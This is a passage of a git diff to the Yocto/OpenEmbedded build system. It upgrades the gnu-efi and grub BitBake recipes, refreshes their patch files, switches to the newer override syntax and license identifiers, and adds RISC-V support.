+++ b/meta/recipes-bsp/gnu-efi/gnu-efi/no-werror.patch
@@ -0,0 +1,19 @@
+Do not treat warnings as errors
+
+There are additional warnings found with musl which are
+treated as errors and fails the build, we have more combinations
+then upstream supports to handle
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [OE specific]
+--- a/Make.defaults
++++ b/Make.defaults
+@@ -187,7 +187,7 @@ CFLAGS += $(ARCH3264) -g -O2 -Wall -Wex
+ -funsigned-char -fshort-wchar -fno-strict-aliasing \
+ -ffreestanding -fno-stack-protector
+ else
+-CFLAGS += $(ARCH3264) -g -O2 -Wall -Wextra -Wno-pointer-sign -Werror \
++CFLAGS += $(ARCH3264) -g -O2 -Wall -Wextra -Wno-pointer-sign \
+ -funsigned-char -fshort-wchar -fno-strict-aliasing \
+ -ffreestanding -fno-stack-protector -fno-stack-check \
+ -fno-stack-check \
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi/parallel-make-archives.patch b/meta/recipes-bsp/gnu-efi/gnu-efi/parallel-make-archives.patch
index 8a0138bbe5..63d9b6fc31 100644
--- a/meta/recipes-bsp/gnu-efi/gnu-efi/parallel-make-archives.patch
+++ b/meta/recipes-bsp/gnu-efi/gnu-efi/parallel-make-archives.patch
@@ -1,7 +1,7 @@
-From 48b2cdbcd761105e8ebad412fcbf23db1ac4ef7c Mon Sep 17 00:00:00 2001
+From f56ddb00a656af2e84f839738fad19909ac65047 Mon Sep 17 00:00:00 2001
From: Saul Wold <sgw@linux.intel.com>
Date: Sun, 9 Mar 2014 15:22:15 +0200
-Subject: [PATCH 1/3] Fix parallel make failure for archives
+Subject: [PATCH] Fix parallel make failure for archives
Upstream-Status: Pending
@@ -20,12 +20,16 @@ Signed-off-by: California Sullivan <california.l.sullivan@intel.com>
[Rebased for 3.0.8]
Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
+---
+ lib/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
diff --git a/lib/Makefile b/lib/Makefile
-index 0e6410d..048751a 100644
+index 1fc6a47..54b0ca7 100644
--- a/lib/Makefile
+++ b/lib/Makefile
-@@ -75,7 +75,7 @@ libsubdirs:
- for sdir in $(SUBDIRS); do mkdir -p $$sdir; done
+@@ -77,7 +77,7 @@ libsubdirs:
+ $(OBJS): libsubdirs
libefi.a: $(OBJS)
- $(AR) $(ARFLAGS) $@ $^
@@ -33,6 +37,3 @@ index 0e6410d..048751a 100644
clean:
rm -f libefi.a *~ $(OBJS) */*.o
---
-2.7.4
-
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.12.bb b/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.12.bb
deleted file mode 100644
index 7888aba0fb..0000000000
--- a/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.12.bb
+++ /dev/null
@@ -1,71 +0,0 @@
-SUMMARY = "Libraries for producing EFI binaries"
-HOMEPAGE = "http://sourceforge.net/projects/gnu-efi/"
-SECTION = "devel"
-LICENSE = "GPLv2+ | BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://gnuefi/crt0-efi-arm.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
- file://gnuefi/crt0-efi-aarch64.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
- file://inc/efishellintf.h;beginline=13;endline=20;md5=202766b79d708eff3cc70fce15fb80c7 \
- file://inc/efishellparm.h;beginline=4;endline=11;md5=468b1231b05bbc84bae3a0d5774e3bb5 \
- file://lib/arm/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- file://lib/arm/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- file://lib/aarch64/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- file://lib/aarch64/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- "
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/files/${BP}.tar.bz2 \
- file://parallel-make-archives.patch \
- file://lib-Makefile-fix-parallel-issue.patch \
- file://gnu-efi-3.0.9-fix-clang-build.patch \
- "
-
-SRC_URI[md5sum] = "926763ff37bc9db3a9035cec41eb2f45"
-SRC_URI[sha256sum] = "0196f2e1fd3c334b66e610a608a0e59233474c7a01bec7bc53989639aa327669"
-
-COMPATIBLE_HOST = "(x86_64.*|i.86.*|aarch64.*|arm.*)-linux"
-COMPATIBLE_HOST_armv4 = 'null'
-
-do_configure_linux-gnux32_prepend() {
- cp ${STAGING_INCDIR}/gnu/stubs-x32.h ${STAGING_INCDIR}/gnu/stubs-64.h
- cp ${STAGING_INCDIR}/bits/long-double-32.h ${STAGING_INCDIR}/bits/long-double-64.h
-}
-
-def gnu_efi_arch(d):
- import re
- tarch = d.getVar("TARGET_ARCH")
- if re.match("i[3456789]86", tarch):
- return "ia32"
- return tarch
-
-EXTRA_OEMAKE = "'ARCH=${@gnu_efi_arch(d)}' 'CC=${CC}' 'AS=${AS}' 'LD=${LD}' 'AR=${AR}' \
- 'RANLIB=${RANLIB}' 'OBJCOPY=${OBJCOPY}' 'PREFIX=${prefix}' 'LIBDIR=${libdir}' \
- "
-
-# gnu-efi's Makefile treats prefix as toolchain prefix, so don't
-# export it.
-prefix[unexport] = "1"
-
-do_install() {
- oe_runmake install INSTALLROOT="${D}"
-}
-
-FILES_${PN} += "${libdir}/*.lds"
-
-# 64-bit binaries are expected for EFI when targeting X32
-INSANE_SKIP_${PN}-dev_append_linux-gnux32 = " arch"
-INSANE_SKIP_${PN}-dev_append_linux-muslx32 = " arch"
-
-BBCLASSEXTEND = "native"
-
-# It doesn't support sse, its make.defaults sets:
-# CFLAGS += -mno-mmx -mno-sse
-# So also remove -mfpmath=sse from TUNE_CCARGS
-TUNE_CCARGS_remove = "-mfpmath=sse"
-
-python () {
- ccargs = d.getVar('TUNE_CCARGS').split()
- if '-mx32' in ccargs:
- # use x86_64 EFI ABI
- ccargs.remove('-mx32')
- ccargs.append('-m64')
- d.setVar('TUNE_CCARGS', ' '.join(ccargs))
-}
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.17.bb b/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.17.bb
new file mode 100644
index 0000000000..43b7cc7529
--- /dev/null
+++ b/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.17.bb
@@ -0,0 +1,75 @@
+SUMMARY = "Libraries for producing EFI binaries"
+HOMEPAGE = "http://sourceforge.net/projects/gnu-efi/"
+DESCRIPTION = "GNU-EFI aims to Develop EFI applications for ARM-64, ARM-32, x86_64, IA-64 (IPF), IA-32 (x86), and MIPS platforms using the GNU toolchain and the EFI development environment."
+SECTION = "devel"
+LICENSE = "GPL-2.0-or-later | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://gnuefi/crt0-efi-arm.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
+ file://gnuefi/crt0-efi-aarch64.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
+ file://inc/efishellintf.h;beginline=13;endline=20;md5=202766b79d708eff3cc70fce15fb80c7 \
+ file://lib/arm/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ file://lib/arm/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ file://lib/aarch64/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ file://lib/aarch64/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ "
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/files/${BP}.tar.bz2 \
+ file://parallel-make-archives.patch \
+ file://gnu-efi-3.0.9-fix-clang-build.patch \
+ file://0001-riscv64-adjust-type-definitions.patch \
+ file://0001-riscv64-ignore-unknown-relocs.patch \
+ file://no-werror.patch \
+ "
+SRC_URI[sha256sum] = "7807e903349343a7a142ebb934703a2872235e89688cf586c032b0a1087bcaf4"
+
+COMPATIBLE_HOST = "(x86_64.*|i.86.*|aarch64.*|arm.*|riscv64.*)-linux"
+COMPATIBLE_HOST:armv4 = 'null'
+
+do_configure:linux-gnux32:prepend() {
+ cp ${STAGING_INCDIR}/gnu/stubs-x32.h ${STAGING_INCDIR}/gnu/stubs-64.h
+ cp ${STAGING_INCDIR}/bits/long-double-32.h ${STAGING_INCDIR}/bits/long-double-64.h
+}
+
+def gnu_efi_arch(d):
+ import re
+ tarch = d.getVar("TARGET_ARCH")
+ if re.match("i[3456789]86", tarch):
+ return "ia32"
+ return tarch
+
+do_compile:prepend() {
+ unset LDFLAGS
+}
+
+EXTRA_OEMAKE = "'ARCH=${@gnu_efi_arch(d)}' 'CC=${CC}' 'AS=${AS}' 'LD=${LD}' 'AR=${AR}' \
+ 'RANLIB=${RANLIB}' 'OBJCOPY=${OBJCOPY}' 'PREFIX=${prefix}' 'LIBDIR=${libdir}' \
+ "
+
+# gnu-efi's Makefile treats prefix as toolchain prefix, so don't
+# export it.
+prefix[unexport] = "1"
+
+do_install() {
+ oe_runmake install INSTALLROOT="${D}"
+}
+
+FILES:${PN} += "${libdir}/*.lds ${libdir}/gnuefi/apps"
+
+# 64-bit binaries are expected for EFI when targeting X32
+INSANE_SKIP:${PN}-dev:append:linux-gnux32 = " arch"
+INSANE_SKIP:${PN}-dev:append:linux-muslx32 = " arch"
+
+BBCLASSEXTEND = "native"
+
+# It doesn't support sse, its make.defaults sets:
+# CFLAGS += -mno-mmx -mno-sse
+# So also remove -mfpmath=sse from TUNE_CCARGS
+TUNE_CCARGS:remove = "-mfpmath=sse"
+
+python () {
+ ccargs = d.getVar('TUNE_CCARGS').split()
+ if '-mx32' in ccargs:
+ # use x86_64 EFI ABI
+ ccargs.remove('-mx32')
+ ccargs.append('-m64')
+ d.setVar('TUNE_CCARGS', ' '.join(ccargs))
+}
diff --git a/meta/recipes-bsp/grub/files/0001-Disable-mfpmath-sse-as-well-when-SSE-is-disabled.patch b/meta/recipes-bsp/grub/files/0001-Disable-mfpmath-sse-as-well-when-SSE-is-disabled.patch
index 6b73878cc0..05a4697a73 100644
--- a/meta/recipes-bsp/grub/files/0001-Disable-mfpmath-sse-as-well-when-SSE-is-disabled.patch
+++ b/meta/recipes-bsp/grub/files/0001-Disable-mfpmath-sse-as-well-when-SSE-is-disabled.patch
@@ -1,4 +1,4 @@
-From 96d9aa55d29b24e2490d5647a9efc66940fc400f Mon Sep 17 00:00:00 2001
+From 006799e9c4babe8a8340a24501b253e759614a2d Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 13 Jan 2016 19:17:31 +0000
Subject: [PATCH] Disable -mfpmath=sse as well when SSE is disabled
@@ -24,15 +24,16 @@ Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Upstream-Status: Pending
+
---
configure.ac | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 7656f24..0868ea9 100644
+index cd667a2..8263876 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -824,7 +824,7 @@ fi
+@@ -846,7 +846,7 @@ fi
if ( test "x$target_cpu" = xi386 || test "x$target_cpu" = xx86_64 ) && test "x$platform" != xemu; then
# Some toolchains enable these features by default, but they need
# registers that aren't set up properly in GRUB.
@@ -40,4 +41,4 @@ index 7656f24..0868ea9 100644
+ TARGET_CFLAGS="$TARGET_CFLAGS -mno-mmx -mno-sse -mno-sse2 -mno-sse3 -mno-3dnow -mfpmath=387"
fi
- # GRUB doesn't use float or doubles at all. Yet some toolchains may decide
+ if ( test "x$target_cpu" = xi386 || test "x$target_cpu" = xx86_64 ); then
diff --git a/meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch b/meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch
new file mode 100644
index 0000000000..cafa711731
--- /dev/null
+++ b/meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch
@@ -0,0 +1,37 @@
+From b47029e8e582d17c6874d2622fe1a5b834377dbb Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 26 Mar 2021 11:59:43 -0700
+Subject: [PATCH] RISC-V: Restore the typcast to 64bit type
+
+this makes the type promotions clear and explicit
+It was already typecasted to long but was accidentally dropped in [1]
+which stated to cause failures on riscv32 as reported in [2]
+
+[1] https://git.savannah.gnu.org/cgit/grub.git/commit/?id=2bf40e9e5be9808b17852e688eead87acff14420
+[2] https://savannah.gnu.org/bugs/index.php?60283
+
+Upstream-Status: Submitted
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Andreas Schwab <schwab@suse.de>
+Cc: Daniel Kiper <daniel.kiper@oracle.com>
+Cc: Chester Lin <clin@suse.com>
+Cc: Nikita Ermakov <arei@altlinux.org>
+Cc: Alistair Francis <alistair.francis@wdc.com>
+
+---
+ util/grub-mkimagexx.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/util/grub-mkimagexx.c b/util/grub-mkimagexx.c
+index e50b295..2f09255 100644
+--- a/util/grub-mkimagexx.c
++++ b/util/grub-mkimagexx.c
+@@ -1310,7 +1310,7 @@ SUFFIX (relocate_addrs) (Elf_Ehdr *e, struct section_metadata *smd,
+ */
+
+ sym_addr += addend;
+- off = sym_addr - target_section_addr - offset - image_target->vaddr_offset;
++ off = (grub_int64_t)sym_addr - target_section_addr - offset - image_target->vaddr_offset;
+
+ switch (ELF_R_TYPE (info))
+ {
diff --git a/meta/recipes-bsp/grub/files/0001-grub.d-10_linux.in-add-oe-s-kernel-name.patch b/meta/recipes-bsp/grub/files/0001-grub.d-10_linux.in-add-oe-s-kernel-name.patch
index 69b04aa56f..69dec7695a 100644
--- a/meta/recipes-bsp/grub/files/0001-grub.d-10_linux.in-add-oe-s-kernel-name.patch
+++ b/meta/recipes-bsp/grub/files/0001-grub.d-10_linux.in-add-oe-s-kernel-name.patch
@@ -1,4 +1,4 @@
-From 8f47ed4aaefba087b6ca76e59c9f832b6a0702bc Mon Sep 17 00:00:00 2001
+From a80592e20f6c4b928a22862f52f268ab9d9908b2 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 13 Jan 2016 19:28:00 +0000
Subject: [PATCH] grub.d/10_linux.in: add oe's kernel name
@@ -20,10 +20,10 @@ Upstream-Status: Inappropriate [OE specific]
2 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/util/grub.d/10_linux.in b/util/grub.d/10_linux.in
-index 4532266..cba2617 100644
+index cc393be..8545cb6 100644
--- a/util/grub.d/10_linux.in
+++ b/util/grub.d/10_linux.in
-@@ -164,12 +164,12 @@ machine=`uname -m`
+@@ -166,12 +166,12 @@ machine=`uname -m`
case "x$machine" in
xi?86 | xx86_64)
list=
@@ -40,10 +40,10 @@ index 4532266..cba2617 100644
done ;;
esac
diff --git a/util/grub.d/20_linux_xen.in b/util/grub.d/20_linux_xen.in
-index 96179ea..98d16ae 100644
+index 94dd8be..36cd554 100644
--- a/util/grub.d/20_linux_xen.in
+++ b/util/grub.d/20_linux_xen.in
-@@ -154,7 +154,7 @@ EOF
+@@ -181,7 +181,7 @@ EOF
}
linux_list=
diff --git a/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch b/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch
index faa7fde232..f8dfda90ab 100644
--- a/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch
+++ b/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch
@@ -1,6 +1,6 @@
-From 72c30928d3d461e0e2d20c5ff33bd96b6991d585 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Sat, 25 Jan 2014 23:49:44 -0500
+From 14c1d0459fb3561e627d3a5f6e91a0d2f7b4aa45 Mon Sep 17 00:00:00 2001
+From: Naveen Saini <naveen.kumar.saini@intel.com>
+Date: Mon, 15 Mar 2021 14:44:15 +0800
Subject: [PATCH] autogen.sh: exclude .pc from po/POTFILES.in
Exclude the .pc from po/POTFILES.in since quilt uses "patch --backup",
@@ -13,23 +13,22 @@ Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+Signed-off-by: Naveen Saini <naveen.kumar.saini@intel.com>
+
---
autogen.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/autogen.sh b/autogen.sh
-index ef43270..a7067a7 100755
+index 195daa5..773b7b4 100755
--- a/autogen.sh
+++ b/autogen.sh
-@@ -13,7 +13,7 @@ fi
+@@ -26,7 +26,7 @@ fi
export LC_COLLATE=C
unset LC_ALL
--find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -iname './grub-core/lib/gnulib/*' |sort > po/POTFILES.in
-+find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -iname './grub-core/lib/gnulib/*' ! -path './.pc/*' |sort > po/POTFILES.in
+-find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -ipath './grub-core/lib/gnulib/*' |sort > po/POTFILES.in
++find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -ipath './grub-core/lib/gnulib/*' ! -path './.pc/*' |sort > po/POTFILES.in
find util -iname '*.in' ! -name Makefile.in |sort > po/POTFILES-shell.in
echo "Importing unicode..."
---
-2.7.4
-
diff --git a/meta/recipes-bsp/grub/files/grub-module-explicitly-keeps-symbole-.module_license.patch b/meta/recipes-bsp/grub/files/grub-module-explicitly-keeps-symbole-.module_license.patch
index 26890261b7..d9012d1dd6 100644
--- a/meta/recipes-bsp/grub/files/grub-module-explicitly-keeps-symbole-.module_license.patch
+++ b/meta/recipes-bsp/grub/files/grub-module-explicitly-keeps-symbole-.module_license.patch
@@ -1,4 +1,4 @@
-From 917133acc701dbc4636165d3b08d15dc5829a06f Mon Sep 17 00:00:00 2001
+From b316ed326bd492106006d78f5bfcd767b49a4f2e Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Wed, 17 Aug 2016 04:06:34 -0400
Subject: [PATCH] grub module explicitly keeps symbole .module_license
@@ -8,7 +8,7 @@ it stripped symbol table:
---------------
root@localhost:~# objdump -t all_video.mod
-
+
all_video.mod: file format elf64-x86-64
SYMBOL TABLE:
@@ -40,12 +40,13 @@ SYMBOL TABLE:
Upstream-Status: Pending
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
grub-core/genmod.sh.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/grub-core/genmod.sh.in b/grub-core/genmod.sh.in
-index 1250589..dd14308 100644
+index e57c4d9..42bb1ba 100644
--- a/grub-core/genmod.sh.in
+++ b/grub-core/genmod.sh.in
@@ -56,7 +56,7 @@ if test x@TARGET_APPLE_LINKER@ != x1; then
diff --git a/meta/recipes-bsp/grub/grub-bootconf_1.00.bb b/meta/recipes-bsp/grub/grub-bootconf_1.00.bb
index 572580313b..783e30bf38 100644
--- a/meta/recipes-bsp/grub/grub-bootconf_1.00.bb
+++ b/meta/recipes-bsp/grub/grub-bootconf_1.00.bb
@@ -5,7 +5,7 @@ DESCRIPTION = "Grub might require different configuration file for \
different machines."
HOMEPAGE = "https://www.gnu.org/software/grub/manual/grub/grub.html#Configuration"
-RPROVIDES_${PN} += "virtual/grub-bootconf"
+RPROVIDES:${PN} += "virtual-grub-bootconf"
inherit grub-efi-cfg
@@ -29,4 +29,4 @@ do_install() {
install grub-bootconf ${D}${EFI_FILES_PATH}/grub.cfg
}
-FILES_${PN} = "${EFI_FILES_PATH}/grub.cfg"
+FILES:${PN} = "${EFI_FILES_PATH}/grub.cfg"
diff --git a/meta/recipes-bsp/grub/grub-efi_2.04.bb b/meta/recipes-bsp/grub/grub-efi_2.04.bb
deleted file mode 100644
index 30d95f95e0..0000000000
--- a/meta/recipes-bsp/grub/grub-efi_2.04.bb
+++ /dev/null
@@ -1,93 +0,0 @@
-require grub2.inc
-
-require conf/image-uefi.conf
-
-GRUBPLATFORM = "efi"
-
-DEPENDS_append = " grub-native"
-RDEPENDS_${PN} = "grub-common virtual/grub-bootconf"
-
-SRC_URI += " \
- file://cfg \
- "
-
-S = "${WORKDIR}/grub-${PV}"
-
-# Determine the target arch for the grub modules
-python __anonymous () {
- import re
- target = d.getVar('TARGET_ARCH')
- prefix = "" if d.getVar('EFI_PROVIDER') == "grub-efi" else "grub-efi-"
- if target == "x86_64":
- grubtarget = 'x86_64'
- elif re.match('i.86', target):
- grubtarget = 'i386'
- elif re.match('aarch64', target):
- grubtarget = 'arm64'
- elif re.match('arm', target):
- grubtarget = 'arm'
- else:
- raise bb.parse.SkipRecipe("grub-efi is incompatible with target %s" % target)
- grubimage = prefix + d.getVar("EFI_BOOT_IMAGE")
- d.setVar("GRUB_TARGET", grubtarget)
- d.setVar("GRUB_IMAGE", grubimage)
- prefix = "grub-efi-" if prefix == "" else ""
- d.setVar("GRUB_IMAGE_PREFIX", prefix)
-}
-
-inherit deploy
-
-CACHED_CONFIGUREVARS += "ac_cv_path_HELP2MAN="
-EXTRA_OECONF += "--enable-efiemu=no"
-
-do_mkimage() {
- cd ${B}
- # Search for the grub.cfg on the local boot media by using the
- # built in cfg file provided via this recipe
- grub-mkimage -c ../cfg -p ${EFIDIR} -d ./grub-core/ \
- -O ${GRUB_TARGET}-efi -o ./${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} \
- ${GRUB_BUILDIN}
-}
-
-addtask mkimage before do_install after do_compile
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' -C grub-core install
-
- # Remove build host references...
- find "${D}" -name modinfo.sh -type f -exec \
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- {} +
-
- install -d ${D}${EFI_FILES_PATH}
- install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${D}${EFI_FILES_PATH}/${GRUB_IMAGE}
-}
-
-do_install_append_aarch64() {
- rm -rf ${D}/${prefix}/
-}
-
-GRUB_BUILDIN ?= "boot linux ext2 fat serial part_msdos part_gpt normal \
- efi_gop iso9660 configfile search loadenv test"
-
-do_deploy() {
- install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${DEPLOYDIR}
-}
-
-addtask deploy after do_install before do_build
-
-FILES_${PN} = "${libdir}/grub/${GRUB_TARGET}-efi \
- ${datadir}/grub \
- ${EFI_FILES_PATH}/${GRUB_IMAGE} \
- "
-
-FILES_${PN}_remove_aarch64 = "${libdir}/grub/${GRUB_TARGET}-efi"
-
-# 64-bit binaries are expected for the bootloader with an x32 userland
-INSANE_SKIP_${PN}_append_linux-gnux32 = " arch"
-INSANE_SKIP_${PN}-dbg_append_linux-gnux32 = " arch"
-INSANE_SKIP_${PN}_append_linux-muslx32 = " arch"
-INSANE_SKIP_${PN}-dbg_append_linux-muslx32 = " arch"
diff --git a/meta/recipes-bsp/grub/grub-efi_2.12.bb b/meta/recipes-bsp/grub/grub-efi_2.12.bb
new file mode 100644
index 0000000000..9857e8e036
--- /dev/null
+++ b/meta/recipes-bsp/grub/grub-efi_2.12.bb
@@ -0,0 +1,105 @@
+require grub2.inc
+
+require conf/image-uefi.conf
+
+GRUBPLATFORM = "efi"
+
+DEPENDS:append = " grub-native"
+RDEPENDS:${PN} = "grub-common virtual-grub-bootconf"
+
+SRC_URI += " \
+ file://cfg \
+ "
+
+S = "${WORKDIR}/grub-${PV}"
+
+# Determine the target arch for the grub modules
+python __anonymous () {
+ import re
+ target = d.getVar('TARGET_ARCH')
+ prefix = "" if d.getVar('EFI_PROVIDER') == "grub-efi" else "grub-efi-"
+ if target == "x86_64":
+ grubtarget = 'x86_64'
+ elif re.match('i.86', target):
+ grubtarget = 'i386'
+ elif re.match('aarch64', target):
+ grubtarget = 'arm64'
+ elif re.match('arm', target):
+ grubtarget = 'arm'
+ elif re.match('riscv64', target):
+ grubtarget = 'riscv64'
+ elif re.match('riscv32', target):
+ grubtarget = 'riscv32'
+ else:
+ raise bb.parse.SkipRecipe("grub-efi is incompatible with target %s" % target)
+ grubimage = prefix + d.getVar("EFI_BOOT_IMAGE")
+ d.setVar("GRUB_TARGET", grubtarget)
+ d.setVar("GRUB_IMAGE", grubimage)
+ prefix = "grub-efi-" if prefix == "" else ""
+ d.setVar("GRUB_IMAGE_PREFIX", prefix)
+}
+
+inherit deploy
+
+CACHED_CONFIGUREVARS += "ac_cv_path_HELP2MAN="
+EXTRA_OECONF += "--enable-efiemu=no"
+
+do_mkimage() {
+ cd ${B}
+
+ GRUB_MKIMAGE_MODULES="${GRUB_BUILDIN}"
+
+ # If 'all' is included in GRUB_BUILDIN we will include all available grub2 modules
+ if [ "${@ bb.utils.contains('GRUB_BUILDIN', 'all', 'True', 'False', d)}" = "True" ]; then
+ bbdebug 1 "Including all available modules"
+ # Get the list of all .mod files in grub-core build directory
+ GRUB_MKIMAGE_MODULES=$(find ${B}/grub-core/ -type f -name "*.mod" -exec basename {} .mod \;)
+ fi
+
+ # Search for the grub.cfg on the local boot media by using the
+ # built in cfg file provided via this recipe
+ grub-mkimage -v -c ../cfg -p ${EFIDIR} -d ./grub-core/ \
+ -O ${GRUB_TARGET}-efi -o ./${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} \
+ ${GRUB_MKIMAGE_MODULES}
+}
+
+addtask mkimage before do_install after do_compile
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' -C grub-core install
+
+ # Remove build host references...
+ find "${D}" -name modinfo.sh -type f -exec \
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ {} +
+
+ install -d ${D}${EFI_FILES_PATH}
+ install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${D}${EFI_FILES_PATH}/${GRUB_IMAGE}
+}
+
+# To include all available modules, add 'all' to GRUB_BUILDIN
+GRUB_BUILDIN ?= "boot linux ext2 fat serial part_msdos part_gpt normal \
+ efi_gop iso9660 configfile search loadenv test"
+
+# 'xen_boot' is a module valid only for aarch64
+GRUB_BUILDIN:append:aarch64 = "${@bb.utils.contains('DISTRO_FEATURES', 'xen', ' xen_boot', '', d)}"
+
+do_deploy() {
+ install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${DEPLOYDIR}
+}
+
+addtask deploy after do_install before do_build
+
+FILES:${PN} = "${libdir}/grub/${GRUB_TARGET}-efi \
+ ${datadir}/grub \
+ ${EFI_FILES_PATH}/${GRUB_IMAGE} \
+ "
+
+# 64-bit binaries are expected for the bootloader with an x32 userland
+INSANE_SKIP:${PN}:append:linux-gnux32 = " arch"
+INSANE_SKIP:${PN}-dbg:append:linux-gnux32 = " arch"
+INSANE_SKIP:${PN}:append:linux-muslx32 = " arch"
+INSANE_SKIP:${PN}-dbg:append:linux-muslx32 = " arch"
diff --git a/meta/recipes-bsp/grub/grub2.inc b/meta/recipes-bsp/grub/grub2.inc
index 628ca64926..bb9aacb478 100644
--- a/meta/recipes-bsp/grub/grub2.inc
+++ b/meta/recipes-bsp/grub/grub2.inc
@@ -8,7 +8,7 @@ standard, which allows for flexible loading of multiple boot images."
HOMEPAGE = "http://www.gnu.org/software/grub/"
SECTION = "bootloaders"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
CVE_PRODUCT = "grub2"
@@ -18,25 +18,41 @@ SRC_URI = "${GNU_MIRROR}/grub/grub-${PV}.tar.gz \
file://autogen.sh-exclude-pc.patch \
file://grub-module-explicitly-keeps-symbole-.module_license.patch \
file://0001-grub.d-10_linux.in-add-oe-s-kernel-name.patch \
+ file://0001-RISC-V-Restore-the-typcast-to-long.patch \
"
